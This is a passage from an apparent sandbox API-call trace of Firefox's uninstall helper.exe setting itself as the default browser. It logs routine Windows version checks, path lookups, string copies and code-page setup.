lpString2="", iMaxLength=8196 | out: lpString1="") returned="" [0118.473] lstrcpyW (in: lpString1=0x681878, lpString2="" | out: lpString1="") returned="" [0118.474] GetLongPathNameW (in: lpszShortPath="C:\\Program Files (x86)\\Mozilla Firefox", lpszLongPath=0x689898, cchBuffer=0x400 | out: lpszLongPath="C:\\Program Files (x86)\\Mozilla Firefox") returned 0x26 [0118.475] wsprintfW (in: param_1=0x681878, param_2="%d" | out: param_1="1024") returned 4 [0118.475] lstrcpynW (in: lpString1=0x681878, lpString2="C:\\Program Files (x86)\\Mozilla Firefox", iMaxLength=8196 | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0118.475] lstrcpyW (in: lpString1=0x4c0088, lpString2="C:\\Program Files (x86)\\Mozilla Firefox" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0118.476] lstrcpynW (in: lpString1=0x681878, lpString2="C:\\Program Files (x86)\\Mozilla Firefox", iMaxLength=8196 | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0118.476] wsprintfW (in: param_1=0x681878, param_2="%d" | out: param_1="38") returned 2 [0118.476] lstrcpyW (in: lpString1=0x4bc080, lpString2="38" | out: lpString1="38") returned="38" [0118.477] Alloc () returned 0x18e920 [0118.477] lstrcpyW (in: lpString1=0x68bc10, lpString2="284" | out: lpString1="284") returned="284" [0118.478] wsprintfW (in: param_1=0x18e920, param_2="%d" | out: param_1="6421176") returned 7 [0118.478] lstrcpynW (in: lpString1=0x687bfc, lpString2="6421176", iMaxLength=8196 | out: lpString1="6421176") returned="6421176" [0118.478] Call () returned 0x0 [0118.479] lstrcpyW (in: lpString1=0x693c30, lpString2="*6421176(i 284)" | out: lpString1="*6421176(i 284)") returned="*6421176(i 284)" [0118.479] lstrcpyW (in: lpString1=0x688400, lpString2="6421176" | out: lpString1="6421176") returned="6421176" [0118.480] lstrcpyW (in: lpString1=0x6898a8, lpString2="" | out: lpString1="") returned="" [0118.480] wsprintfW (in: param_1=0x6898a8, param_2="%d" | out: param_1="284") returned 3 [0118.480] lstrcpyW (in: lpString1=0x6898a8, lpString2="" | out: lpString1="") returned="" [0118.480] Call () returned 0x0 [0118.481] lstrcpyW (in: lpString1=0x693c30, lpString2="kernel32::GetVersionEx(ir0)i.r3" | out: lpString1="kernel32::GetVersionEx(ir0)i.r3") returned="kernel32::GetVersionEx(ir0)i.r3" [0118.481] lstrcpyW (in: lpString1=0x68fc20, lpString2="kernel32" | out: lpString1="kernel32") returned="kernel32" [0118.481] lstrcpyW (in: lpString1=0x687c00, lpString2="kernel32" | out: lpString1="kernel32") returned="kernel32" [0118.481] lstrcpyW (in: lpString1=0x688400, lpString2="GetVersionEx" | out: lpString1="GetVersionEx") returned="GetVersionEx" [0118.482] GetModuleHandleW (lpModuleName="kernel32") returned 0x769e0000 [0118.482] lstrcmpiW (lpString1="kernel32", lpString2="kernel32") returned 0 [0118.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetVersionEx", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0118.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetVersionEx", cchWideChar=-1, lpMultiByteStr=0x628ac8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetVersionEx", lpUsedDefaultChar=0x0) returned 13 [0118.482] GetProcAddress (hModule=0x769e0000, lpProcName="GetVersionEx") returned 0x0 [0118.482] lstrcpyW (in: lpString1=0x18e8c8, lpString2="GetVersionEx" | out: lpString1="GetVersionEx") returned="GetVersionEx" [0118.482] lstrcatW (in: lpString1="GetVersionEx", lpString2="W" | out: lpString1="GetVersionExW") returned="GetVersionExW" [0118.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetVersionExW", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0118.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetVersionExW", cchWideChar=-1, lpMultiByteStr=0x628ac8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetVersionExW", lpUsedDefaultChar=0x0) returned 14 [0118.482] GetProcAddress (hModule=0x769e0000, lpProcName="GetVersionExW") returned 0x769f1ae5 [0118.482] lstrcatW (in: lpString1="GetVersionEx", lpString2="W" | out: lpString1="GetVersionExW") returned="GetVersionExW" [0118.482] lstrcpyW (in: lpString1=0x6898a8, lpString2="6421176" | out: lpString1="6421176") returned="6421176" [0118.483] lstrcpyW (in: lpString1=0x6898a8, lpString2="" | out: lpString1="") returned="" [0118.483] GetVersionExW (in: lpVersionInformation=0x61fab8*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x61fab8*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0118.483] wsprintfW (in: param_1=0x6898a8, param_2="%d" | out: param_1="6421176") returned 7 [0118.483] wsprintfW (in: param_1=0x6898a8, param_2="%d" | out: param_1="1") returned 1 [0118.483] lstrcpyW (in: lpString1=0x488018, lpString2="1" | out: lpString1="1") returned="1" [0118.483] Call () returned 0x0 [0118.483] lstrcpyW (in: lpString1=0x693c30, lpString2="*6421176(i.s,i.r1,i.r2,i.r3,i.s,&t128.s,&i2.s,&i2,&i2,&i1.s,&i1)" | out: lpString1="*6421176(i.s,i.r1,i.r2,i.r3,i.s,&t128.s,&i2.s,&i2,&i2,&i1.s,&i1)") returned="*6421176(i.s,i.r1,i.r2,i.r3,i.s,&t128.s,&i2.s,&i2,&i2,&i1.s,&i1)" [0118.483] lstrcpyW (in: lpString1=0x688400, lpString2="6421176" | out: lpString1="6421176") returned="6421176" [0118.484] lstrcpyW (in: lpString1=0x6898a8, lpString2="" | out: lpString1="") returned="" [0118.484] lstrcpyW (in: lpString1=0x6898a8, lpString2="" | out: lpString1="") returned="" [0118.484] lstrcpyW (in: lpString1=0x6898a8, lpString2="" | out: lpString1="") returned="" [0118.485] lstrcpyW (in: lpString1=0x6898a8, lpString2="" | out: lpString1="") returned="" [0118.485] lstrcpyW (in: lpString1=0x6898a8, lpString2="" | out: lpString1="") returned="" [0118.485] lstrcpyW (in: lpString1=0x6898a8, lpString2="" | out: lpString1="") returned="" [0118.485] lstrcpynW (in: lpString1=0x68d8b8, lpString2="", iMaxLength=8196 | out: lpString1="") returned="" [0118.485] lstrcpyW (in: lpString1=0x6898a8, lpString2="" | out: lpString1="") returned="" [0118.486] lstrcpyW (in: lpString1=0x6898a8, lpString2="" | out: lpString1="") returned="" [0118.486] lstrcpyW (in: lpString1=0x6898a8, lpString2="" | out: lpString1="") returned="" [0118.486] lstrcpyW (in: lpString1=0x6898a8, lpString2="" | out: lpString1="") returned="" [0118.486] lstrcpyW (in: lpString1=0x6898a8, lpString2="" | out: lpString1="") returned="" [0118.486] lstrcpyW (in: lpString1=0x6898a8, lpString2="" | out: lpString1="") returned="" [0118.486] wsprintfW (in: param_1=0x6898a8, param_2="%d" | out: param_1="0") returned 1 [0118.486] wsprintfW (in: param_1=0x6898a8, param_2="%d" | out: param_1="1") returned 1 [0118.486] lstrcpynW (in: lpString1=0x6918cc, lpString2="1", iMaxLength=8196 | out: lpString1="1") returned="1" [0118.486] wsprintfW (in: param_1=0x6898a8, param_2="%d" | out: param_1="0") returned 1 [0118.486] wsprintfW (in: param_1=0x6898a8, param_2="%d" | out: param_1="0") returned 1 [0118.487] wsprintfW (in: param_1=0x6898a8, param_2="%d" | out: param_1="1") returned 1 [0118.487] lstrcpynW (in: lpString1=0x6958e4, lpString2="1", iMaxLength=8196 | out: lpString1="1") returned="1" [0118.487] lstrcpynW (in: lpString1=0x6898a8, lpString2="Service Pack 1", iMaxLength=8196 | out: lpString1="Service Pack 1") returned="Service Pack 1" [0118.487] lstrcpynW (in: lpString1=0x6998fc, lpString2="Service Pack 1", iMaxLength=8196 | out: lpString1="Service Pack 1") returned="Service Pack 1" [0118.487] wsprintfW (in: param_1=0x6898a8, param_2="%d" | out: param_1="2") returned 1 [0118.487] lstrcpynW (in: lpString1=0x69d914, lpString2="2", iMaxLength=8196 | out: lpString1="2") returned="2" [0118.487] wsprintfW (in: param_1=0x6a1928, param_2="%d" | out: param_1="7601") returned 4 [0118.487] lstrcpyW (in: lpString1=0x488018, lpString2="7601" | out: lpString1="7601") returned="7601" [0118.488] wsprintfW (in: param_1=0x6a1928, param_2="%d" | out: param_1="1") returned 1 [0118.488] lstrcpyW (in: lpString1=0x484010, lpString2="1" | out: lpString1="1") returned="1" [0118.488] wsprintfW (in: param_1=0x6a1928, param_2="%d" | out: param_1="6") returned 1 [0118.488] lstrcpyW (in: lpString1=0x480008, lpString2="6" | out: lpString1="6") returned="6" [0118.488] wsprintfW (in: param_1=0x6a1928, param_2="%d" | out: param_1="284") returned 3 [0118.488] lstrcpynW (in: lpString1=0x6898ac, lpString2="284", iMaxLength=8196 | out: lpString1="284") returned="284" [0118.488] lstrcpyW (in: lpString1=0x6a1928, lpString2="" | out: lpString1="") returned="" [0118.488] Free () returned 0x0 [0118.488] lstrcpyW (in: lpString1=0x6a5940, lpString2="6421176" | out: lpString1="6421176") returned="6421176" [0118.494] Call () returned 0x0 [0118.495] lstrcpyW (in: lpString1=0x697c48, lpString2="kernel32::GetLongPathNameW(w R8, w .R7, i 1024)i .R6" | out: lpString1="kernel32::GetLongPathNameW(w R8, w .R7, i 1024)i .R6") returned="kernel32::GetLongPathNameW(w R8, w .R7, i 1024)i .R6" [0118.495] lstrcpyW (in: lpString1=0x693c38, lpString2="kernel32" | out: lpString1="kernel32") returned="kernel32" [0118.495] lstrcpyW (in: lpString1=0x68bc18, lpString2="kernel32" | out: lpString1="kernel32") returned="kernel32" [0118.495] lstrcpyW (in: lpString1=0x68c418, lpString2="GetLongPathNameW" | out: lpString1="GetLongPathNameW") returned="GetLongPathNameW" [0118.496] GetModuleHandleW (lpModuleName="kernel32") returned 0x769e0000 [0118.496] lstrcmpiW (lpString1="kernel32", lpString2="kernel32") returned 0 [0118.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetLongPathNameW", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0118.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetLongPathNameW", cchWideChar=-1, lpMultiByteStr=0x63a0e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetLongPathNameW", lpUsedDefaultChar=0x0) returned 17 [0118.496] GetProcAddress (hModule=0x769e0000, lpProcName="GetLongPathNameW") returned 0x769fa315 [0118.496] lstrcpyW (in: lpString1=0x69fc68, lpString2="C:\\Program Files (x86)\\Mozilla Firefox" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0118.497] lstrcpynW (in: lpString1=0x6a3c78, lpString2="C:\\Program Files (x86)\\Mozilla Firefox", iMaxLength=8196 | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0118.497] lstrcpyW (in: lpString1=0x69fc68, lpString2="" | out: lpString1="") returned="" [0118.497] lstrcpynW (in: lpString1=0x68d8c0, lpString2="", iMaxLength=8196 | out: lpString1="") returned="" [0118.497] lstrcpyW (in: lpString1=0x6918d0, lpString2="" | out: lpString1="") returned="" [0118.497] GetLongPathNameW (in: lpszShortPath="C:\\Program Files (x86)\\Mozilla Firefox", lpszLongPath=0x68d8c0, cchBuffer=0x400 | out: lpszLongPath="C:\\Program Files (x86)\\Mozilla Firefox") returned 0x26 [0118.497] wsprintfW (in: param_1=0x6918d0, param_2="%d" | out: param_1="1024") returned 4 [0118.497] lstrcpynW (in: lpString1=0x6918d0, lpString2="C:\\Program Files (x86)\\Mozilla Firefox", iMaxLength=8196 | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0118.497] lstrcpyW (in: lpString1=0x4c0088, lpString2="C:\\Program Files (x86)\\Mozilla Firefox" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0118.497] lstrcpynW (in: lpString1=0x68d8c0, lpString2="C:\\Program Files (x86)\\Mozilla Firefox", iMaxLength=8196 | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0118.497] wsprintfW (in: param_1=0x68d8c0, param_2="%d" | out: param_1="38") returned 2 [0118.497] lstrcpyW (in: lpString1=0x4bc080, lpString2="38" | out: lpString1="38") returned="38" [0118.520] GetVersion () returned 0x1db10106 [0118.520] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x28c0000 [0118.521] GetVersionExA (in: lpVersionInformation=0x18f048*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x18f0e4, dwMinorVersion=0x0, dwBuildNumber=0x100000, dwPlatformId=0x2000, szCSDVersion="") | out: lpVersionInformation=0x18f048*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0118.521] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x8, Size=0x80) returned 0x28c07d0 [0118.521] GetCurrentThreadId () returned 0xaf8 [0118.521] GetCommandLineA () returned="\"C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe\" /SetAsDefaultAppUser" [0118.521] GetEnvironmentStringsW () returned 0x63aad8* [0118.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1707, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1707 [0118.521] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x6b0) returned 0x28c0858 [0118.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1707, lpMultiByteStr=0x28c0858, cbMultiByte=1707, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1707 [0118.521] FreeEnvironmentStringsW (penv=0x63aad8) returned 1 [0118.521] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x480) returned 0x28c0f10 [0118.522] GetStartupInfoA (in: lpStartupInfo=0x18f0a0 | out: lpStartupInfo=0x18f0a0*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0118.522] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0118.522] GetFileType (hFile=0x0) returned 0x0 [0118.522] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0118.522] GetFileType (hFile=0x0) returned 0x0 [0118.522] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0118.522] GetFileType (hFile=0x0) returned 0x0 [0118.522] SetHandleCount (uNumber=0x20) returned 0x20 [0118.522] RtlAllocateHeap (HeapHandle=0x28c0000, Flags=0x0, Size=0x20) returned 0x28c1398 [0118.522] GetACP () returned 0x4e4 [0118.522] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f0ac | out: lpCPInfo=0x18f0ac) returned 1 [0118.522] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f084 | out: lpCPInfo=0x18f084) returned 1 [0118.522] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18eb40 | out: lpCharType=0x18eb40) returned 1 [0118.522] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18ef84, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0118.522] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18ef84, cbMultiByte=256, lpWideCharStr=0x18e928, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ삜1Ā") returned 256 [0118.522] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ삜1Ā", cchSrc=256, lpCharType=0x18eb84 | out: lpCharType=0x18eb84) returned 1 [0118.522] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0118.522] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18ef84, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0118.522] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18ef84, cbMultiByte=256, lpWideCharStr=0x18e904, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ삜1Ā") returned 256 [0118.522] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ삜1Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0118.522] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ삜1Ā", cchSrc=256, lpDestStr=0x18e704, cchDest=256 | out: lpDestStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x20ac\x81\x201a\x192\x201e\x2026\x2020\x2021\x2c6\x2030\x161\x2039\x153\x8d\x17e\x8f\x90\x2018\x2019\x201c\x201d\x2022\x2013\x2014\x2dc\x2122\x161\x203a\x153\x9d\x17e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x20ac\x81\x201a\x192\x201e\x2026\x2020\x2021\x2c6\x2030\x160\x2039\x152\x8d\x17d\x8f\x90\x2018\x2019\x201c\x201d\x2022\x2013\x2014\x2dc\x2122\x161\x203a\x153\x9d\x17e\x178\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xc09c\x31\x100") returned 256 [0118.522] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x220, lpWideCharStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x20ac\x81\x201a\x192\x201e\x2026\x2020\x2021\x2c6\x2030\x161\x2039\x153\x8d\x17e\x8f\x90\x2018\x2019\x201c\x201d\x2022\x2013\x2014\x2dc\x2122\x161\x203a\x153\x9d\x17e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x20ac\x81\x201a\x192\x201e\x2026\x2020\x2021\x2c6\x2030\x160\x2039\x152\x8d\x17d\x8f\x90\x2018\x2019\x201c\x201d\x2022\x2013\x2014\x2dc\x2122\x161\x203a\x153\x9d\x17e\x178\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\x